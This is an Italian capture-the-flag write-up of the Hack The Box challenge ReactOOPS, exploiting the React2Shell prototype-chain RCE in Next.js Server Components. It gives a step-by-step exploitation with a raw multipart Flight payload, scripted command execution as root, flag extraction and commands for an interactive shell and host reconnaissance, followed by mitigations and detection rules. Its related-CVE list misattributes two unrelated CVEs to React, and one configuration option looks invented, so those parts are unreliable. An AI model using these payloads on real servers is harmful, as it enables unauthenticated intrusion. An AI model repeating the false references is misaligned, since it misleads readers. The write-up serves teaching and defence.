Writeup Hack The Box per la challenge ritirata ReactOOPS - Soluzione completa e guida didattica alle CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Include analisi dettagliata della vulnerabilità, tecniche di sfruttamento e materiali di apprendimento per il team.
# ReactOOPS - Writeup della Sfida Web HTB
<div align="center">
<img src="https://img.shields.io/badge/CVE-2025--55182-critical?style=for-the-badge" alt="CVE-2025-55182">
<img src="https://img.shields.io/badge/CVE-2025--66478-critical?style=for-the-badge" alt="CVE-2025-66478">
<img src="https://img.shields.io/badge/CVSS-10.0%20Critical-red?style=for-the-badge" alt="CVSS Score: 10.0 Critical">
<img src="https://img.shields.io/badge/Exploit-PoC%20Available-orange?style=for-the-badge" alt="Exploit Status: Proof of Concept Available">
<img src="https://img.shields.io/badge/Status-Solved-brightgreen?style=for-the-badge" alt="Challenge Status: Solved">
<img src="https://img.shields.io/badge/Type-Web%20Challenge-blue?style=for-the-badge" alt="Challenge Type: Web">
<img src="https://img.shields.io/badge/Framework-React/Next.js-61DAFB?style=for-the-badge&logo=react" alt="Framework: React/Next.js">
</div>
**Autore**: TheStingR - Team ISP1337Hackers
**Sfida**: ReactOOPS (Web)
**Piattaforma**: Hack The Box
**Difficoltà**: Molto Facile - Ritirata
**Data di Risoluzione**: 13 dicembre 2025
## Table of Contents
1. [Sommario Esecutivo](#executive-summary)
2. [Descrizione della Sfida](#challenge-description)
3. [Analisi della Vulnerabilità](#vulnerability-analysis)
4. [Ricognizione ed Enumerazione](#reconnaissance--enumeration)
5. [Procedura di Sfruttamento](#exploitation-walkthrough)
6. [Estrazione della Flag](#flag-extraction)
7. [Approfondimento Tecnico](#technical-deep-dive)
8. [Difesa e Mitigazione](#defense--mitigation)
9. [Lezioni Apprese](#lessons-learned)
---
## Sommario Esecutivo
**ReactOOPS** è una sfida web che sfrutta **CVE-2025-55182 / CVE-2025-66478**, una vulnerabilità critica di esecuzione remota di codice non autenticata in React Server Components e Next.js App Router.
**Risultati Chiave:**
- ✅ Server: Next.js 16.0.6 con React 19 (vulnerabile)
- ✅ Vulnerabilità: controllo `hasOwnProperty` mancante nella deserializzazione del protocollo Flight
- ✅ Impatto: RCE non autenticata con privilegi di root
- ✅ Sfruttamento: è necessaria una singola richiesta HTTP POST
---
## Descrizione della Sfida
### Valutazione Iniziale
La sfida presenta un'applicazione Next.js curata che esegue l'interfaccia dell'assistente di NexusAI. L'applicazione sembra gestire l'input dell'utente tramite React Server Components, ma piccoli glitch nel layer reattivo suggeriscono vulnerabilità sottostanti.
### Stack Tecnologico
- **Framework**: Next.js 16.0.6
- **Versione React**: 19.x
- **Deployment**: Contenitore Docker (build standalone di Next.js)
- **Porta del Server**: 50183
### Cosa Rende Questa Vulnerabile?
L'applicazione utilizza:
1. **React Server Components (RSC)** - Rendering lato server con comunicazione client
2. **Protocollo Flight** - Formato di serializzazione per la trasmissione dati RSC
3. **Dipendenze Vulnerabili** - react-server-dom-webpack senza patch di sicurezza
---
## Analisi della Vulnerabilità
### Panoramica di CVE-2025-55182 / CVE-2025-66478
#### Cos'è il Protocollo Flight?
Il protocollo Flight è il formato di serializzazione proprietario di React per trasmettere dati tra server e client nelle architetture Server Component. Utilizza riferimenti come:
- `$1` - Riferimento all'oggetto nella posizione 1
- `$1:path:to:value` - Attraversamento del percorso di proprietà
#### Il Controllo di Sicurezza Mancante
**Codice Vulnerabile in ReactFlightReplyServer.js di React:**
```javascript
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
```
**La Versione Sicura (Come Dovrebbe Essere):**
```javascript
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
```
#### Perché Questo è Importante
Senza il controllo `hasOwnProperty`, un attaccante può attraversare:
```
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
```
#### Catena di Sfruttamento
```
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
```
#### Perché Non C'è un Controllo di Autenticazione?
La vulnerabilità esiste **prima** della validazione Next-Action:
```
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
```
Attivando l'RCE durante la deserializzazione, gli attaccanti aggirano tutti i controlli di sicurezza a livello di azione.
---
## Ricognizione ed Enumerazione
### Passo 1: Test di Connessione Iniziale
```bash
# Test if service is responding
curl -v http://<IP>:PORT/
```
**Previsto**: un'applicazione Next.js che serve HTML con RSC abilitato
### Passo 2: Identificazione della Tecnologia
Cerca indicatori:
- Header di risposta contenenti prefissi `next-`
- HTML contenente `<script type="text/x-component">`
- Presenza di artefatti della directory `.next`
- Endpoint POST senza autenticazione evidente
### Passo 3: Rilevamento della Vulnerabilità
L'indicatore più affidabile è tentare un attacco di prototype pollution e osservare la risposta:
```bash
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
```
---
## Procedura di Sfruttamento
### Configurazione dell'Ambiente
```bash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
```
### Fase 1: Rilevamento (Prova Non Distruttiva)
**Obiettivo**: Confermare che il server sia vulnerabile senza causare danni
```bash
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
```
**Cosa Fa:**
1. Crea una richiesta POST multipart con header `Next-Action: x`
2. Invia il payload: `["$1:a:a"]` che referenzia l'oggetto vuoto `{}`
3. Sul server vulnerabile: JavaScript prova ad accedere a `{}.a.a`
4. La mancanza del controllo hasOwnProperty causa un crash
5. Il server risponde con HTTP 500 e digest di errore
**Output Previsto:**
```
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
```
**Interpretazione:**
- HTTP 500: ✅ Crash rilevato
- `E{"digest"` nella risposta: ✅ Formato di gestione errori di React
- Conclusione: il server è VULNERABILE
### Fase 2: Esecuzione Remota di Codice (Prova di Concetto)
**Obiettivo**: Verificare l'esecuzione di comandi arbitrari
```bash
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
```
**Cosa Fa:**
1. Costruisce un payload multipart con il comando
2. Incorpora il comando nel riferimento di prototype pollution
3. Invia una richiesta POST con `Next-Action: x`
4. Il server deserializza ed esegue il comando durante l'elaborazione
5. Restituisce l'output del comando tramite reindirizzamento HTTP 303
**Output Previsto:**
```
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
**Osservazione Chiave**: L'output mostra `uid=0(root)` - il server web è in esecuzione come root! Questa è una errata configurazione di sicurezza che amplifica l'impatto.
### Fase 3: Raccolta di Informazioni
**Obiettivo**: Mappare il filesystem e individuare i file sensibili
```bash
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
```
**Struttura della Directory Scoperta:**
```
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
```
**Risultato Critico**: Il file della flag esiste in `/app/flag.txt` con permessi restrittivi (600)
### Fase 4: Estrazione della Flag
**Obiettivo**: Leggere il file della flag
```bash
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
```
**Output:**
```
HTB{jus7_REDACTED_2025-55182}
```
✅ **Sfida Completata!**
---
## Approfondimento Tecnico
### Struttura del Payload
Lo sfruttamento costruisce un payload del protocollo Flight. Ecco come appare un payload di comando:
```
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
```
### Processo di Deserializzazione
```
1. Parse multipart form data
→ name="1" → JSON object with "then" property
→ name="0" → String "$@1"
2. Process references
→ "$@1" means "reference to chunk 1"
→ Look up chunk[1].value
3. Resolve reference path
→ Reference: "$1:__proto__:then"
→ Split on colons: ["", "__proto__", "then"]
→ Start with chunk[1]
→ Access [__proto__] → traverse to prototype
→ Access [then] → access then method
4. Construct fake Promise
→ Create object with .then() method
→ Method contains command payload
5. Execute Promise .then()
→ React treats as Promise-like
→ Calls the .then() handler
→ CODE EXECUTES AS ROOT
```
### Perché Ogni Script di Exploit Differisce
| Script | Meccanismo | Codice HTTP | Rilevamento |
|--------|-----------|-----------|-----------|
| **exploit-redirect.sh** | Attraversamento del prototipo + catena Promise | 303 | x-action-redirect |
| **exploit-throw.sh** | Errore nel try-catch | 500 | Errore nel body |
| **exploit-blind.sh** | Canale laterale (scrittura file, DNS) | 200 | Out-of-band |
| **exploit-reflect.sh** | Reflection diretta nella risposta | 200 | Output del comando nel body |
| **shell.sh** | Wrapper interattivo | Varia | Interfaccia REPL |
Abbiamo usato `exploit-redirect.sh` perché:
- ✅ Funziona senza un ID azione valido
- ✅ Risposta 303 affidabile
- ✅ Buona visibilità dell'output
- ✅ Nessuna interferenza della pagina di errore
---
## Difesa e Mitigazione
### Per i Sistemi Vulnerabili
**Azioni Immediatamente (Prima della Patch):**
1. **Disabilitare RSC se non necessario**
```javascript
// next.config.js
module.exports = {
experimental: {
rsc: false // Disable React Server Components
}
}
```
2. **Limitare l'uso di Next-Action**
```javascript
// middleware.ts
export function middleware(request) {
// Reject all POST requests with Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
```
3. **Segmentazione della Rete**
```bash
# Only allow trusted sources
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
```
**Applicare la Patch Immediatamente:**
```bash
# Update Next.js
npm install next@latest
# Or specific patched version
npm install [email protected]
# Verify versions
npm ls next react-server-dom-webpack
```
### Per Tutti i Sistemi
**Indurimento della Sicurezza:**
1. **Eseguire i server web come non-root**
```dockerfile
# DON'T do this:
RUN npm start # As root
# DO this:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
```
2. **Validazione degli Input**
```javascript
// Validate all Flight protocol inputs
app.post('/api/*', (req, res) => {
// Check for suspicious patterns
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Invalid input');
}
});
```
3. **Rate Limiting**
```javascript
// Limit POST requests per IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
```
### Rilevamento e Monitoraggio
**Regole WAF:**
```
# Detect prototype pollution attempts
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then Alert + Block
```
**Monitoraggio dei Log:**
```bash
# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
```
**Rilevamento Comportamentale:**
```javascript
// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implement policy enforcement
return original_spawn.apply(this, args);
};
```
---
## Lezioni Apprese
### Lezioni di Sicurezza
1. **Un Singolo Controllo Mancante = Vulnerabilità Critica**
- La guardia `hasOwnProperty` era stata importata ma non utilizzata
- Una riga di validazione mancante è degenerata in RCE
- **Lezione**: Le revisioni del codice devono verificare che tutte le guardie siano effettivamente utilizzate
2. **La Catena dei Prototipi è Pericolosa**
- La catena dei prototipi di JavaScript può essere sfruttata per accessi indesiderati alle proprietà
- L'accesso alle proprietà degli oggetti sembra innocuo: `obj[key]`
- **Lezione**: Usare sempre `hasOwnProperty` o `Object.create(null)` per input non fidati
3. **La Deserializzazione Prima della Validazione è Rischiosa**
- Codice eseguito durante la deserializzazione, prima dei controlli di autenticazione
- Flusso normale: autentica → valida → processa
- Flusso vulnerabile: parse → esegui codice → valida (troppo tardi!)
- **Lezione**: Non eseguire mai codice durante la deserializzazione di dati non fidati
4. **I Privilegi di Default del Processo Contano**
- Il server web in esecuzione come root ha amplificato l'impatto
- Server compromesso = controllo completo del sistema
- **Lezione**: Eseguire sempre i servizi con i privilegi minimi richiesti
### Lezioni sullo Sfruttamento
1. **Il Rilevamento Non Distruttivo è Prezioso**
- `detect.sh` dimostra la vulnerabilità senza causare danni
- Consente al valutatore di validare la vulnerabilità prima dello sfruttamento
- **Buona Pratica**: Includere sempre una fase di rilevamento
2. **Ricognizione Sistematica**
- Iniziato con il rilevamento
- Passato alla prova di RCE
- Poi alla raccolta di informazioni
- Infine all'estrazione della flag
- **Buona Pratica**: Non passare subito allo sfruttamento; raccogli prima le informazioni
3. **Comprendere la Tecnologia**
- La conoscenza del protocollo Flight ha facilitato lo sfruttamento
- Comprendere l'architettura di Next.js è stato fondamentale
- Conoscere la catena dei prototipi di JavaScript è stato cruciale
- **Buona Pratica**: Studiare lo stack tecnologico prima dello sfruttamento
---
## Cronologia
| Tempo | Azione | Risultato |
|-------|--------|-----------|
| T+0s | Test di connessione iniziale | Servizio che risponde |
| T+10s | Esegue detect.sh | VULNERABILE confermato |
| T+30s | Esegue il comando `id` | privilegi root confermati |
| T+1m | Elenca la directory /app | Posizione della flag trovata |
| T+1m 30s | Legge il file della flag | Flag estratta |
| T+2m | Verifica | Sfida completata |
---
## Riferimenti
### Documentazione Ufficiale
- [CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [CVE-2025-66478](https://nvd.nist.gov/vuln/detail/CVE-2025-66478)
- [React Server Components](https://react.dev/reference/rsc/server-components)
- [Flight Protocol](https://github.com/facebook/react/blob/main/packages/react-server-dom-webpack/README.md)
### Risorse per lo Sfruttamento
- [Repository react2shell](https://github.com/freeqaz/react2shell)
- [EXPLOIT_NOTES.md](https://github.com/thestingr/reactoops-writeup/blob/main/react2shell/EXPLOIT_NOTES.md)
- [PAYLOAD_REFERENCE.md](https://github.com/thestingr/reactoops-writeup/blob/main/react2shell/PAYLOAD_REFERENCE.md)
### CVE Correlati
- CVE-2023-46805: prototype pollution di React (simile ma diversa)
- CVE-2024-4761: XSS nei Server Component
---
## Appendice: Riferimento Comandi
### Sfruttamento Rapido
```bash
# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
```
### Shell Interattiva
```bash
# Launch full interactive shell
./shell.sh http://<IP>:PORT
# Common commands:
id # Show user info
pwd # Current directory
ls -la # List files
cat /app/flag.txt # Read flag
cd /var/log # Change directory
download flag.txt # Download file
```
### Raccolta di Informazioni
```bash
# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"
```